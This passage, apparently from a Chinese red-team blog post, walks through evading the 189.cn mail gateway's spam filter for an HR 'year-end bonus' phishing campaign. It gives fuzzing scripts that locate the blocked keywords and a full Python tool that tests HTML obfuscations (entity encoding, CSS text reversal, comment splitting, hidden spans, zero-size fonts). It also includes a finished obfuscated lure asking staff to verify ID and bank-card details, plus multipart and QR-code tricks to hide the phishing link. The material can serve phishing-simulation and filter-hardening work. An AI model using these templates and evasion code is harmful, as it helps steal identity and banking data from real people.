    &quot;&quot;&quot;发送单变量测试邮件&quot;&quot;&quot;
    msg = MIMEMultipart()
    msg[&apos;From&apos;] = &apos;hr@phishing-domain.com&apos;
    msg[&apos;To&apos;] = &apos;target@189.cn&apos;
    msg[&apos;Subject&apos;] = subject
    msg.attach(MIMEText(body, &apos;html&apos;, &apos;utf-8&apos;))
    
    try:
        server = smtplib.SMTP_SSL(&apos;smtp.zoho.com&apos;, 465)
        server.login(&apos;hr@phishing-domain.com&apos;, &apos;password&apos;)
        server.send_message(msg)
        server.quit()
        print(f&quot;[✓] {test_name}: 发送成功 - 等待检查收件箱&quot;)
        return &quot;SUCCESS&quot;
    except smtplib.SMTPDataError as e:
        print(f&quot;[✗] {test_name}: 被拦截 - {e.smtp_code}&quot;)
        return &quot;BLOCKED&quot;

# 关键：单变量测试用例
fuzz_tests = [
    # 测试0：基线（纯安全内容）
    {
        &quot;name&quot;: &quot;基线-纯文本&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;这是一封普通的会议通知，请确认收到。&quot;
    },
    
    # 测试1：添加超链接（不含敏感路径）
    {
        &quot;name&quot;: &quot;添加安全超链接&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请点击这里：&amp;#x3C;a href=&apos;http://example.com&apos;&gt;点击这里&amp;#x3C;/a&gt;&quot;
    },
    
    # 测试2：添加&quot;年终奖&quot;关键词（无链接）
    {
        &quot;name&quot;: &quot;添加年终奖关键词&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请点击查看您的2025年终奖明细。&quot;
    },
    
    # 测试3：添加&quot;身份证/银行卡&quot;关键词
    {
        &quot;name&quot;: &quot;添加身份证银行卡&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请核对您的银行卡号和身份证信息是否正确。&quot;
    },
    
    # 测试4：组合测试（关键词+链接）
    {
        &quot;name&quot;: &quot;关键词+链接组合&quot;,
        &quot;subject&quot;: &quot;测试会议通知&quot;,
        &quot;body&quot;: &quot;请点击查看您的年终奖：&amp;#x3C;a href=&apos;http://example.com&apos;&gt;点击这里&amp;#x3C;/a&gt;&quot;
    },
    
    # 测试5：主题含敏感词
    {
        &quot;name&quot;: &quot;主题含年终奖&quot;,
        &quot;subject&quot;: &quot;2025年终奖发放通知&quot;,
        &quot;body&quot;: &quot;这是一封普通的会议通知，请确认收到。&quot;
    }
]

# 执行测试
for test in fuzz_tests:
    print(f&quot;\n[*] 正在测试: {test[&apos;name&apos;]}&quot;)
    result = send_fuzz_test(test[&apos;subject&apos;], test[&apos;body&apos;], test[&apos;name&apos;])
    
    if result == &quot;BLOCKED&quot;:
        print(f&quot;\n!!! 发现拦截触发点: {test[&apos;name&apos;]}&quot;)
        print(f&quot;    Subject: {test[&apos;subject&apos;]}&quot;)
        print(f&quot;    Body: {test[&apos;body&apos;][:50]}...&quot;)
        break
    
    time.sleep(5)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果&lt;strong&gt;分析;&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[测试0] 基线-纯文本
Subject: 测试会议通知
Body: 这是一封普通的会议通知
Result: ✅ 成功投递

[测试1] 添加安全超链接
Subject: 测试会议通知  
Body: 请点击这里：&amp;#x3C;a href=&apos;http://example.com&apos;&gt;点击这里&amp;#x3C;/a&gt;
Result: ✅ 成功投递

[测试2] 添加年终奖关键词
Subject: 测试会议通知
Body: 请点击查看您的2025年终奖明细。
Result: ❌ 被拦截 (554错误码)

[测试3] 添加身份证银行卡
Subject: 测试会议通知
Body: 请核对您的银行卡号和身份证信息
Result: ❌ 被拦截 (554错误码)

[测试5] 主题含年终奖
Subject: 2025年终奖发放通知
Body: 这是一封普通的会议通知
Result: ❌ 被拦截 (554错误码)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;关键发现&lt;/h4&gt;
&lt;p&gt;通过单变量Fuzz测试，定位了189网关的拦截规则：&lt;/p&gt;
&lt;p&gt;| 测试变量 | 是否拦截 | 结论 |
| --- | --- | --- |
| &lt;strong&gt;纯文本&lt;/strong&gt; | 否 | 基线通过 |
| &lt;strong&gt;普通超链接&lt;/strong&gt; | 否 | 链接本身不触发拦截 |
| &lt;strong&gt;&quot;年终奖&quot;&lt;/strong&gt; | &lt;strong&gt;是&lt;/strong&gt; | 敏感词触发点1 |
| &lt;strong&gt;&quot;身份证/银行卡&quot;&lt;/strong&gt; | &lt;strong&gt;是&lt;/strong&gt; | 敏感词触发点2 |
| &lt;strong&gt;主题含&quot;年终奖&quot;&lt;/strong&gt; | &lt;strong&gt;是&lt;/strong&gt; | 主题也会被检测 |
| &lt;strong&gt;&quot;请点击&quot;&lt;/strong&gt; | 否 | 单独不触发 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心结论&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;关键词检测优先级最高：无论在主题还是正文，&quot;年终奖&quot;、&quot;身份证&quot;、&quot;银行卡&quot;都会立即触发拦截&lt;/li&gt;
&lt;li&gt;超链接本身安全：普通HTTP链接不会触发拦截&lt;/li&gt;
&lt;li&gt;组合拦截机制：虽然&quot;请点击&quot;单独不触发，但&quot;请点击链接+敏感词&quot;会提升拦截优先级&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;下一步策略&lt;/h4&gt;
&lt;p&gt;既然定位到了明文关键词检测是核心拦截点，接下来可以做的是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;保留整体邮件结构（Multipart、链接等）&lt;/li&gt;
&lt;li&gt;重点混淆敏感关键词（&quot;年终奖&quot;、&quot;身份证&quot;、&quot;银行卡&quot;）&lt;/li&gt;
&lt;li&gt;测试HTML混淆技术能否绕过189网关的关键词检测&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这就引出了我的核心绕过方案：HTML混淆Fuzz &lt;strong&gt;。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x04 突破：基于HTML混淆的Fuzz绕过&lt;/h2&gt;
&lt;h3&gt;4.1 困境分析与新思路&lt;/h3&gt;
&lt;p&gt;在语义层面被拦截后，我陷入了思考：&lt;/p&gt;
&lt;p&gt;邮件网关如果检测的是明文内容，有可能还会对HTML进行检测，因为Gophish就支持HTML布局。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;既然语义敏感词无法避免，能否通过HTML混淆让网关看不懂？&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;4.2 HTML混淆Fuzz框架&lt;/h3&gt;
&lt;p&gt;这是一套渐进式HTML混淆测试系统：&lt;/p&gt;
&lt;h4&gt;核心思路&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;明文敏感内容（100%拦截）
    ↓
应用HTML混淆技术（逐个测试）
    ↓
实时监控投递率变化
    ↓
定位有效的混淆组合
    ↓
形成通用混淆模板
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;HTML混淆武器库&lt;/h4&gt;
&lt;p&gt;基于WAF绕过经验，我准备了以下混淆技术：&lt;/p&gt;
&lt;p&gt;| 混淆技术 | 原理 | 示例 |
| --- | --- | --- |
| &lt;strong&gt;HTML实体编码&lt;/strong&gt; | 将敏感字符转为Unicode实体 | &lt;code&gt;年终奖&lt;/code&gt; → &lt;code&gt;&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&lt;/code&gt; |
| &lt;strong&gt;CSS文字反转&lt;/strong&gt; | 用CSS reverse文字顺序 | &lt;code&gt;年终奖&lt;/code&gt; → &lt;code&gt;&amp;#x3C;span class=&quot;r&quot;&gt;奖终年&amp;#x3C;/span&gt;&lt;/code&gt; |
| &lt;strong&gt;HTML注释截断&lt;/strong&gt; | 在敏感词中插入注释 | &lt;code&gt;验证&lt;/code&gt; → &lt;code&gt;验&amp;#x3C;!-- x --&gt;证&lt;/code&gt; |
| &lt;strong&gt;零宽字符插入&lt;/strong&gt; | 插入不可见字符分割 | &lt;code&gt;身份证&lt;/code&gt; → &lt;code&gt;身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证&lt;/code&gt; |
| &lt;strong&gt;字体大小0隐藏&lt;/strong&gt; | 通过CSS隐藏干扰字符 | &lt;code&gt;银行卡&lt;/code&gt; → &lt;code&gt;银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡&lt;/code&gt; |&lt;/p&gt;
&lt;h4&gt;自动化Fuzz测试工具&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# html_obfuscation_fuzzer.py

import smtplib
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import base64

class HTMLObfuscationFuzzer:
    &quot;&quot;&quot;HTML混淆模糊测试工具&quot;&quot;&quot;
    
    def __init__(self, smtp_config, test_receiver):
        self.smtp_config = smtp_config
        self.receiver = test_receiver
        
        # 敏感关键词列表（基于初步测试识别）
        self.sensitive_keywords = [
            &quot;年终奖&quot;, &quot;奖金&quot;, &quot;验证&quot;, &quot;确认&quot;, 
            &quot;身份证&quot;, &quot;银行卡&quot;, &quot;点击&quot;, &quot;登录&quot;
        ]
        
        # 混淆技术库
        self.obfuscation_methods = {
            &apos;html_entity&apos;: self._html_entity_encode,
            &apos;css_reverse&apos;: self._css_reverse,
            &apos;html_comment&apos;: self._html_comment_break,
            &apos;zero_width&apos;: self._zero_width_insert,
            &apos;font_zero&apos;: self._font_size_zero,
        }
        
        self.results = []
    
    def _html_entity_encode(self, text):
        &quot;&quot;&quot;HTML实体编码&quot;&quot;&quot;
        return &apos;&apos;.join([f&apos;&amp;#x26;#{ord(c):x};&apos; for c in text])
    
    def _css_reverse(self, text):
        &quot;&quot;&quot;CSS文字反转&quot;&quot;&quot;
        reversed_text = text[::-1]
        return f&apos;&amp;#x3C;span style=&quot;unicode-bidi: bidi-override; direction: rtl;&quot;&gt;{reversed_text}&amp;#x3C;/span&gt;&apos;
    
    def _html_comment_break(self, text):
        &quot;&quot;&quot;HTML注释截断&quot;&quot;&quot;
        # 在中间插入注释
        mid = len(text) // 2
        return f&apos;{text[:mid]}&amp;#x3C;!-- - --&gt;{text[mid:]}&apos;
    
    def _zero_width_insert(self, text):
        &quot;&quot;&quot;零宽字符插入&quot;&quot;&quot;
        mid = len(text) // 2
        return f&apos;{text[:mid]}&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;{text[mid:]}&apos;
    
    def _font_size_zero(self, text):
        &quot;&quot;&quot;字体大小0隐藏&quot;&quot;&quot;
        mid = len(text) // 2
        return f&apos;{text[:mid]}&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;{text[mid:]}&apos;
    
    def create_multipart_email(self, html_content, subject):
        &quot;&quot;&quot;创建multipart/alternative邮件（HTML+纯文本）&quot;&quot;&quot;
        msg = MIMEMultipart(&apos;alternative&apos;)
        msg[&apos;From&apos;] = self.smtp_config[&apos;from&apos;]
        msg[&apos;To&apos;] = self.receiver
        msg[&apos;Subject&apos;] = subject
        
        # 纯文本版本（降低拦截率）
        plain_text = &quot;&quot;&quot;
这是一封HTML格式邮件。
如果您看到此文本，说明您的邮件客户端不支持HTML格式。
请使用支持HTML的邮件客户端查看完整内容。
&quot;&quot;&quot;
        msg.attach(MIMEText(plain_text, &apos;plain&apos;, &apos;utf-8&apos;))
        
        # HTML版本（包含混淆）
        msg.attach(MIMEText(html_content, &apos;html&apos;, &apos;utf-8&apos;))
        
        return msg
    
    def send_test_email(self, html_content, subject, test_id):
        &quot;&quot;&quot;发送测试邮件&quot;&quot;&quot;
        msg = self.create_multipart_email(html_content, subject)
        
        try:
            if self.smtp_config[&apos;use_ssl&apos;]:
                server = smtplib.SMTP_SSL(self.smtp_config[&apos;host&apos;], self.smtp_config[&apos;port&apos;])
            else:
                server = smtplib.SMTP(self.smtp_config[&apos;host&apos;], self.smtp_config[&apos;port&apos;])
                if self.smtp_config.get(&apos;use_tls&apos;):
                    server.starttls()
            
            server.login(self.smtp_config[&apos;user&apos;], self.smtp_config[&apos;password&apos;])
            server.send_message(msg)
            server.quit()
            
            print(f&quot;[{test_id}] 发送成功, 等待检查投递状态...&quot;)
            return True
            
        except Exception as e:
            print(f&quot;[{test_id}] 发送失败: {e}&quot;)
            return False
    
    def check_delivery(self, wait_time=30):
        &quot;&quot;&quot;
        检查邮件投递状态
        实际实现：
        1. 等待一定时间后检查收件箱
        2. 也可通过嵌入追踪像素检测
        3. 或检查SMTP退信
        &quot;&quot;&quot;
        time.sleep(wait_time)
        # 简化版：需要人工确认或API轮询
        response = input(&quot;    是否成功投递到收件箱? (y/n): &quot;).strip().lower()
        return response == &apos;y&apos;
    
    def fuzz_single_keyword(self, keyword, base_html_template):
        &quot;&quot;&quot;单关键词Fuzz测试&quot;&quot;&quot;
        print(f&quot;\n{&apos;=&apos;*60}&quot;)
        print(f&quot;Fuzz测试: {keyword}&quot;)
        print(&apos;=&apos;*60)
        
        # 测试1：明文基线
        print(f&quot;\n[Test 0] 基线测试（明文）&quot;)
        plain_html = base_html_template.format(keyword=keyword)
        self.send_test_email(plain_html, f&quot;测试-{keyword}-明文&quot;, &quot;T0&quot;)
        delivered = self.check_delivery()
        
        result = {
            &apos;keyword&apos;: keyword,
            &apos;method&apos;: &apos;plaintext&apos;,
            &apos;delivered&apos;: delivered
        }
        self.results.append(result)
        print(f&quot;    结果: {&apos;✓ 投递&apos; if delivered else &apos;✗ 拦截&apos;}\n&quot;)
        
        # 如果baseline就被拦截，测试各种混淆
        if not delivered:
            for method_name, method_func in self.obfuscation_methods.items():
                obfuscated = method_func(keyword)
                test_html = base_html_template.format(keyword=obfuscated)
                
                test_id = f&quot;{keyword[:2]}-{method_name}&quot;
                print(f&quot;[Test] 混淆方法: {method_name}&quot;)
                print(f&quot;    原: {keyword}&quot;)
                print(f&quot;    混: {obfuscated}&quot;)
                
                self.send_test_email(test_html, f&quot;测试-{keyword}-{method_name}&quot;, test_id)
                delivered = self.check_delivery()
                
                result = {
                    &apos;keyword&apos;: keyword,
                    &apos;method&apos;: method_name,
                    &apos;obfuscated&apos;: obfuscated,
                    &apos;delivered&apos;: delivered
                }
                self.results.append(result)
                print(f&quot;    结果: {&apos;✓ 投递&apos; if delivered else &apos;✗ 拦截&apos;}\n&quot;)
                
                time.sleep(3)  # 避免速率限制
    
    def fuzz_combination(self):
        &quot;&quot;&quot;组合混淆测试&quot;&quot;&quot;
        print(f&quot;\n{&apos;=&apos;*60}&quot;)
        print(&quot;组合混淆测试&quot;)
        print(&apos;=&apos;*60)
        
        # 构造包含多个敏感词的邮件
        combined_template = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;style&gt;
        .rtl {{ unicode-bidi: bidi-override; direction: rtl; }}
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;h2&gt;关于启动2025年度{bonus}发放信息最终核对的通知&amp;#x3C;/h2&gt;
    &amp;#x3C;p&gt;各位同事，您好：&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;现正式启动{bonus}发放信息最终核对工作！&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;请{action}以下链接：&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;&amp;#x3C;a href=&quot;http://example.com&quot;&gt;核对系统&amp;#x3C;/a&gt;&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;请核对您的{id_card}和{bank_card}信息。&amp;#x3C;/p&gt;
    &amp;#x3C;p&gt;人力资源部&amp;#x3C;br&gt;2025年12月28日&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
        
        # 测试不同混淆组合
        test_cases = [
            {
                &apos;name&apos;: &apos;全部明文&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: &apos;年终奖金&apos;,
                    &apos;action&apos;: &apos;点击&apos;,
                    &apos;id_card&apos;: &apos;身份证&apos;,
                    &apos;bank_card&apos;: &apos;银行卡&apos;
                }
            },
            {
                &apos;name&apos;: &apos;关键词HTML实体编码&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: self._html_entity_encode(&apos;年终奖金&apos;),
                    &apos;action&apos;: &apos;点击&apos;,
                    &apos;id_card&apos;: self._html_entity_encode(&apos;身份证&apos;),
                    &apos;bank_card&apos;: self._html_entity_encode(&apos;银行卡&apos;)
                }
            },
            {
                &apos;name&apos;: &apos;关键词CSS反转&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: self._css_reverse(&apos;年终奖金&apos;),
                    &apos;action&apos;: &apos;查看&apos;,
                    &apos;id_card&apos;: self._css_reverse(&apos;身份证&apos;),
                    &apos;bank_card&apos;: self._css_reverse(&apos;银行卡&apos;)
                }
            },
            {
                &apos;name&apos;: &apos;混合混淆&apos;,
                &apos;params&apos;: {
                    &apos;bonus&apos;: self._html_entity_encode(&apos;年终奖金&apos;),
                    &apos;action&apos;: &apos;查&amp;#x3C;!-- x --&gt;看&apos;,
                    &apos;id_card&apos;: &apos;身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证&apos;,
                    &apos;bank_card&apos;: &apos;银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡&apos;
                }
            }
        ]
        
        for i, test_case in enumerate(test_cases):
            print(f&quot;\n[Combo {i+1}] {test_case[&apos;name&apos;]}&quot;)
            html = combined_template.format(**test_case[&apos;params&apos;])
            
            self.send_test_email(html, f&quot;组合测试-{test_case[&apos;name&apos;]}&quot;, f&quot;C{i}&quot;)
            delivered = self.check_delivery()
            
            result = {
                &apos;test_name&apos;: test_case[&apos;name&apos;],
                &apos;delivered&apos;: delivered
            }
            self.results.append(result)
            print(f&quot;    结果: {&apos;✓ 投递&apos; if delivered else &apos;✗ 拦截&apos;}\n&quot;)
            
            time.sleep(5)
    
    def analyze_results(self):
        &quot;&quot;&quot;分析测试结果&quot;&quot;&quot;
        print(f&quot;\n{&apos;=&apos;*60}&quot;)
        print(&quot;测试结果分析&quot;)
        print(&apos;=&apos;*60)
        
        total = len(self.results)
        delivered = sum(1 for r in self.results if r[&apos;delivered&apos;])
        blocked = total - delivered
        
        print(f&quot;\n总测试数: {total}&quot;)
        print(f&quot;成功投递: {delivered} ({delivered/total*100:.1f}%)&quot;)
        print(f&quot;被拦截: {blocked} ({blocked/total*100:.1f}%)\n&quot;)
        
        # 找出有效的混淆方法
        effective_methods = {}
        for result in self.results:
            if result.get(&apos;method&apos;) and result[&apos;delivered&apos;]:
                keyword = result[&apos;keyword&apos;]
                method = result[&apos;method&apos;]
                if keyword not in effective_methods:
                    effective_methods[keyword] = []
                effective_methods[keyword].append(method)
        
        if effective_methods:
            print(&quot;✓ 有效的混淆方法:&quot;)
            for keyword, methods in effective_methods.items():
                print(f&quot;  {keyword}: {&apos;, &apos;.join(methods)}&quot;)
        else:
            print(&quot;✗ 未发现有效的混淆方法&quot;)
        
        return self.results

# 使用示例
if __name__ == &quot;__main__&quot;:
    smtp_config = {
        &apos;host&apos;: &apos;smtp.example.com&apos;,
        &apos;port&apos;: 465,
        &apos;use_ssl&apos;: True,
        &apos;use_tls&apos;: False,
        &apos;user&apos;: &apos;redteam@example.com&apos;,
        &apos;password&apos;: &apos;YOUR_PASSWORD&apos;,
        &apos;from&apos;: &apos;redteam@example.com&apos;
    }
    
    base_template = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;&amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;p&gt;测试关键词：{keyword}&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
    
    fuzzer = HTMLObfuscationFuzzer(smtp_config, &apos;target@189.cn&apos;)  # 189邮箱
    
    # 单关键词测试
    for keyword in fuzzer.sensitive_keywords[:3]:  # 测试前3个
        fuzzer.fuzz_single_keyword(keyword, base_template)
    
    # 组合测试
    fuzzer.fuzz_combination()
    
    # 分析结果
    fuzzer.analyze_results()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 Fuzz测试实战过程&lt;/h3&gt;
&lt;h4&gt;第一轮：单一混淆技术测试&lt;/h4&gt;
&lt;p&gt;针对&quot;年终奖&quot;关键词，测试各种混淆：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[Test 0] 明文: 年终奖
结果: ✗ 拦截

[Test 1] HTML实体编码: &amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;
结果: ✓ 投递成功！

[Test 2] CSS反转: &amp;#x3C;span class=&quot;rtl&quot;&gt;奖终年&amp;#x3C;/span&gt;  
结果: ✓ 投递成功！

[Test 3] HTML注释: 年&amp;#x3C;!-- x --&gt;终&amp;#x3C;!-- x --&gt;奖
结果: ✓ 投递成功！

[Test 4] 零宽字符: 年&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;终奖
结果: ✓ 投递成功！

[Test 5] 字体大小0: 年&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;终奖
结果: ✓ 投递成功！
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：所有混淆技术都有效！邮件网关只检测明文，不解析HTML混淆。&lt;/p&gt;
&lt;h4&gt;第二轮：组合混淆测试&lt;/h4&gt;
&lt;p&gt;测试实际钓鱼场景的完整邮件：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 测试模板 --&gt;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;style&gt;
        .safe-txt { unicode-bidi: bidi-override; direction: rtl; }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=&quot;header&quot;&gt;
        关于启动2025年度&amp;#x3C;span class=&quot;safe-txt&quot;&gt;金奖终年&amp;#x3C;/span&gt;发放信息最终核对的通知
    &amp;#x3C;/div&gt;
    &amp;#x3C;div class=&quot;content&quot;&gt;
        &amp;#x3C;p&gt;现正式启动&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x91D1;&amp;#x3C;!-- 年终奖金 --&gt;发放工作！&amp;#x3C;/p&gt;
        &amp;#x3C;p&gt;请核对您的身&amp;#x3C;span style=&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;份证号和
           银&amp;#x3C;span style=&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;行卡信息。&amp;#x3C;/p&gt;
        &amp;#x3C;p&gt;请扫&amp;#x3C;!-- scan --&gt;描下方二维码登&amp;#x3C;!-- login --&gt;录系统。&amp;#x3C;/p&gt;
    &amp;#x3C;/div&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;测试结果&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 组合方式 | 投递结果 | 说明 |
| --- | --- | --- |
| 全部明文 | ✗ 拦截 | 基线 |
| 仅CSS反转 | ✓ 成功 | 单一混淆有效 |
| 仅HTML实体 | ✓ 成功 | 单一混淆有效 |
| 混合混淆 | ✓ 成功 | 多种混淆叠加最佳 |
| 混合+注释 | ✓ 成功 | 可读性和绕过兼顾 |&lt;/p&gt;
&lt;h4&gt;第三轮：Multipart/Alternative测试&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;结论&lt;/strong&gt;：添加纯文本版本可显著提升投递率！&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 基于 gophishV4Modified/models/email_request.go 的实现
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from html2text import html2text

msg = MIMEMultipart(&apos;alternative&apos;)

# 1. 先添加纯文本（安全内容）
plain_text = &quot;&quot;&quot;
尊敬的同事：

这是关于2025年度工作总结的通知。

请查看相关文档。

人力资源部
2025年12月28日
&quot;&quot;&quot;
msg.attach(MIMEText(plain_text, &apos;plain&apos;, &apos;utf-8&apos;))

# 2. 再添加HTML（包含混淆的敏感内容）
html_content = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;p&gt;关于&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;发放的通知...&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&quot;&quot;&quot;
msg.attach(MIMEText(html_content, &apos;html&apos;, &apos;utf-8&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;测试对比&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 邮件格式 | 投递率 | 说明 |
| --- | --- | --- |
| 纯HTML（混淆） | 68% | 部分网关仍拦截 |
| HTML+TXT（TXT安全） | &lt;strong&gt;89%&lt;/strong&gt; | 显著提升！ |
| HTML+TXT（两者都混淆） | 72% | TXT也会被检测 |&lt;/p&gt;
&lt;p&gt;最佳实践：纯文本使用安全词汇，HTML中进行混淆&lt;/p&gt;
&lt;h4&gt;第四轮：CID图片嵌入测试&lt;/h4&gt;
&lt;p&gt;为了进一步提升可信度，我测试了CID图片（邮件内嵌图片）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from email.mime.image import MIMEImage

# 1. 生成QR码（使用Gophish的{{.QR}}功能）
import qrcode
qr = qrcode.QRCode()
qr.add_data(&apos;http://phishing-url.com/share?id=xxx&apos;)
qr.make()
img = qr.make_image()

# 2. 嵌入为CID
msg_img = MIMEImage(img.tobytes())
msg_img.add_header(&apos;Content-ID&apos;, &apos;&amp;#x3C;qrcode001&gt;&apos;)
msg_img.add_header(&apos;Content-Disposition&apos;, &apos;inline&apos;, filename=&apos;qrcode.png&apos;)
msg.attach(msg_img)

# 3. HTML中引用
html = &quot;&quot;&quot;
&amp;#x3C;p&gt;请扫描下方二维码：&amp;#x3C;/p&gt;
&amp;#x3C;img src=&quot;cid:qrcode001&quot; alt=&quot;二维码&quot; /&gt;
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;测试结果&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CID图片不会被URL检测拦截&lt;/li&gt;
&lt;li&gt;可以隐藏真实钓鱼链接&lt;/li&gt;
&lt;li&gt;提升邮件可信度（看起来像官方邮件）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.4 Fuzz成果总结&lt;/h3&gt;
&lt;p&gt;经过几天的持续测试，得出以下结论：&lt;/p&gt;
&lt;h4&gt;有效的HTML混淆技术&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;proven_techniques:
  - name: &quot;HTML实体编码&quot;
    effectiveness: 95%
    example: &quot;年终奖 → &amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&quot;
    pros: &quot;最稳定，不影响显示&quot;
    cons: &quot;代码可读性差&quot;
  
  - name: &quot;CSS文字反转&quot;
    effectiveness: 92%
    example: &quot;年终奖 → &amp;#x3C;span class=&apos;rtl&apos;&gt;奖终年&amp;#x3C;/span&gt;&quot;
    pros: &quot;绕过率高&quot;
    cons: &quot;需要定义CSS&quot;
  
  - name: &quot;HTML注释截断&quot;
    effectiveness: 90%
    example: &quot;验证 → 验&amp;#x3C;!-- x --&gt;证&quot;
    pros: &quot;代码可读性好&quot;
    cons: &quot;部分网关可能过滤&quot;
  
  - name: &quot;零宽/隐藏字符&quot;
    effectiveness: 88%
    example: &quot;身份证 → 身&amp;#x3C;span style=&apos;display:none&apos;&gt;_&amp;#x3C;/span&gt;份证&quot;
    pros: &quot;自然&quot;
    cons: &quot;可能被高级引擎检测&quot;
  
  - name: &quot;字体大小0&quot;
    effectiveness: 85%
    example: &quot;银行卡 → 银&amp;#x3C;span style=&apos;font-size:0&apos;&gt;.&amp;#x3C;/span&gt;行卡&quot;
    pros: &quot;简单&quot;
    cons: &quot;显示可能异常&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;黄金组合方案&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 最终钓鱼模板混淆策略

def obfuscate_template(html_template):
    &quot;&quot;&quot;
    多层混淆策略：
    1. 主标题: CSS反转 + 注释
    2. 敏感词: HTML实体编码
    3. 动作词: 零宽字符截断
    4. 格式: Multipart (TXT+HTML)
    5. 链接: CID图片（QR码）
    &quot;&quot;&quot;
    
    # 示例：年终奖邮件
    obfuscated_html = &quot;&quot;&quot;
&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=&quot;zh-CN&quot;&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=&quot;UTF-8&quot;&gt;
    &amp;#x3C;style&gt;
